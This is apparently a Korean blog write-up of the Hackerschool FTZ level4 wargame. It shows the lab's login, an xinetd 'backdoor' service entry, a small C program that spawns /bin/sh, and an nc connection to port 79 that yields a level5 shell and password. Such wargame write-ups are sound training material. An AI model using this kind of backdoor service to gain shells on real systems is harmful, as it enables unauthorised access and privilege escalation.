Hackerschool FTZ level4

2011. 7. 17. 13:18·Wargame/FTZ
Category : System hacking

ssh://ftz.hackerschool.org
id : level4
pw : suck my brain

Summary : xinetd backdoor



서버에 접속하여 디렉토리에 있는 파일들을 확인한다.

[level4@ftz level4]$ ls -l
합계 12
-rw-r--r--    1 root     root           50  2월 24  2002 hint
drwxr-xr-x    2 root     level4       4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level4       4096  7월 12 02:40 tmp
[level4@ftz level4]$ cat hint


누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!

 


/etc/xinetd.d/ 에 백도어가 있다고 하니 우선 해당디렉토리로 이동해본다.

[level4@ftz level4]$ cd /etc/xinetd.d/
[level4@ftz xinetd.d]$ ls
backdoor     cups-lpd     echo      ntalk   rsh      services  telnet
chargen      daytime      echo-udp  rexec   rsync    sgi_fam   time
chargen-udp  daytime-udp  finger    rlogin  servers  talk      time-udp

엄청나게 backdoor처럼 보이는 서비스 파일이 있다.
backdoor라는 파일의 내용을 살펴본다.

[level4@ftz xinetd.d]$ cat backdoor
service finger
{
 disable = no
 flags  = REUSE
 socket_type = stream       
 wait  = no
 user  = level5
 server  = /home/level4/tmp/backdoor
 log_on_failure += USERID
}
[level4@ftz xinetd.d]$ cat /etc/services | grep finger
finger  79/tcp
finger  79/udp
cfinger  2003/tcp   # GNU Finger

finger서비스를 정의하는 파일이다. level5 user의 권한으로 server 프로그램을 실행한다. (확인해보니 기존의 finger service는 disable 되어있다.) finger service는 79를 사용하고 있다.
server 프로그램이 위치한 곳은 level4 user의 홈디렉토리의 하위디렉토리인 tmp 이기 때문에  backdoor라는 프로그램을 작성하여 level5 user의 권한으로 원하는 명령을 수행할 수 있다.

~/tmp에 /bin/sh를 실행하는 backdoor라는 이름의 프로그램을 작성한다.

[level4@ftz tmp]$ cd ~/tmp
[level4@ftz tmp]$ cat backdoor.c
#include <stdio.h>

int main()
{
 execl("/bin/sh" , "sh" , NULL);
}
[level4@ftz tmp]$ gcc -o backdoor backdoor.c


이제 /etc/service에서 확인했던 finger service가 사용하는 port 인 79번 port에 접속하면 방금 작성한 backdoor프로그램이 실행되어 level5 user의 쉘을 얻게된다.

[pwn3r@localhost ~]$ nc ftz.hackerschool.org 79 
id
uid=3005(level5) gid=3005(level5)
my-pass

Level5 Password is "what is your name?".


level5 user의 쉘을 획득하고 패스워드를 얻었다.

'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level6  (0) 2011.07.17
Hackerschool FTZ level5  (1) 2011.07.17
Hackerschool FTZ level3  (0) 2011.07.17
Hackerschool FTZ level2  (0) 2011.07.17
Hackerschool FTZ level1  (0) 2011.05.29
'Wargame/FTZ' 카테고리의 다른 글
  • Hackerschool FTZ level6
  • Hackerschool FTZ level5
  • Hackerschool FTZ level3
  • Hackerschool FTZ level2
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    power of community
    POC
    csaw ctf
    gnuboard
    web
    HUST
    pwnables
    정보보호올림피아드
    csaw
    후기
    HUST2011
    vuln
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
Hackerschool FTZ level4
상단으로

티스토리툴바